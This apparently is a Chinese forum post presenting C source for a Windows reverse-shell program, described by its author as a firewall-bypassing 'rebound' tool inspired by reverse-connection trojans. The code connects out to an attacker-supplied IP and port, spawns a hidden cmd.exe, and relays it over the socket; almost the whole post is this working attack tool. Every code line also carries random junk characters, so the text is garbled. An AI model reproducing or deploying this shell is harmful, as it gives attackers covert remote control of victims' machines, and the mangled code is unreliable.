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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?_h#>  
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/* ============================== bKTwG@{/k  
Rebound port in Windows NT )8A=yrTIT  
By wind,2006/7 & /FA>  
===============================*/ 0%L$TJ.''  
#include Gm?"7R.  
#include (UiH3Q9C]%  
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#pragma comment(lib,"wsock32.lib") TlZlE^EE<  
>!ZyykAs  
void OutputShell(); 0a;F X0S&  
SOCKET sClient; Jut'xA2Dr  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0z2R`=)  
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void main(int argc,char **argv) jzOMjz~:)  
{ *~aI>7H  
WSADATA stWsaData; CI ]U)@\U  
int nRet; AXv3jH,HF  
SOCKADDR_IN stSaiClient,stSaiServer; 7*8nUq  
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if(argc != 3) w})&[d  
{ W SeRV?+T  
printf("Useage:\n\rRebound DestIP DestPort\n"); $F'~^2  
return; cH8H)55F  
} 0eu$ oel-  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 74!JPOpQH  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  x+j/v5  
5D@Q1   
stSaiClient.sin_family = AF_INET; r?{LQWP>e  
stSaiClient.sin_port = htons(0); ri.|EmH2:D  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Y&:\s8C  
} jy7,+  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Iw-6Z+ 94  
{ r -DD*'R  
printf("Bind Socket Failed!\n"); 4xC6#:8  
return; !P3tTL!*L  
} g&20F`.N*>  
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stSaiServer.sin_family = AF_INET; ^K@ GK  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); R5YtCw]i=  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u=N;P  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) kys-~&@+  
{ 53#5p;k  
printf("Connect Error!"); L?5t <`#lw  
return; rEyMSLN  
} W2V@\  
OutputShell(); JSP8Lu"n  
} < 2r#vmM  
<L[)P{jn?p  
void OutputShell() H  "/e%  
{ w@D@,q'x  
char szBuff[1024]; >}`1'su  
SECURITY_ATTRIBUTES stSecurityAttributes; iDe0 5f1R  
OSVERSIONINFO stOsversionInfo; A}+r;Y8[h  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O&1p2!Bk4  
STARTUPINFO stStartupInfo; "e?#c<p7  
char *szShell; lIT2 AFX+  
PROCESS_INFORMATION stProcessInformation; p~y 4q4  
unsigned long lBytesRead; yOm6HA``hT  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [&59n,R`  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); zL=I-fVq  
stSecurityAttributes.lpSecurityDescriptor = 0; I(eR3d:  
stSecurityAttributes.bInheritHandle = TRUE; W`rE\P  
-CNv=vj 3  
S 2` ;7  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); S`PSFetC  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Nr7.BDA  
l`G:@}P>G  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); o ieLh"$  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^hTJp{  
stStartupInfo.wShowWindow = SW_HIDE; YXOD fd%L  
stStartupInfo.hStdInput = hReadPipe; B#lj8I^|  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; DD3yl\#,  
)%W2XvG  
GetVersionEx(&stOsversionInfo); $e,!fB;B  
x=<>%m5R  
switch(stOsversionInfo.dwPlatformId) sm <kb@g  
{ KPK!'4,cu  
case 1: 3om7LqcRo  
szShell = "command.com"; biuo.OG]  
break; RB@gSHOc?  
default: @k;3$  
szShell = "cmd.exe"; ^Rh~+  
break; {:+^[rer j  
} U/l ra&P  
Y'":OW#oN  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); DdW8~yI&  
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send(sClient,szMsg,77,0); %&S]cEw  
while(1) 0|k[Wha#  
{ /9gMcn9EB  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); JVCgYY({KQ  
if(lBytesRead) !I  P*  
{ I!@` _Q9N  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~d8o,.n`1  
send(sClient,szBuff,lBytesRead,0); |/ 7's'  
} LxGh *7K-  
else B(NL3WJ  
{ p 8rAtz>=J  
lBytesRead=recv(sClient,szBuff,1024,0); a,\u|T:g  
if(lBytesRead<=0) break; ;Q 6e&Ips/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3 +9|7=d  
} $VNn`0^gF  
} v Cr$miZ  
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return; ;\0RXirk  
}
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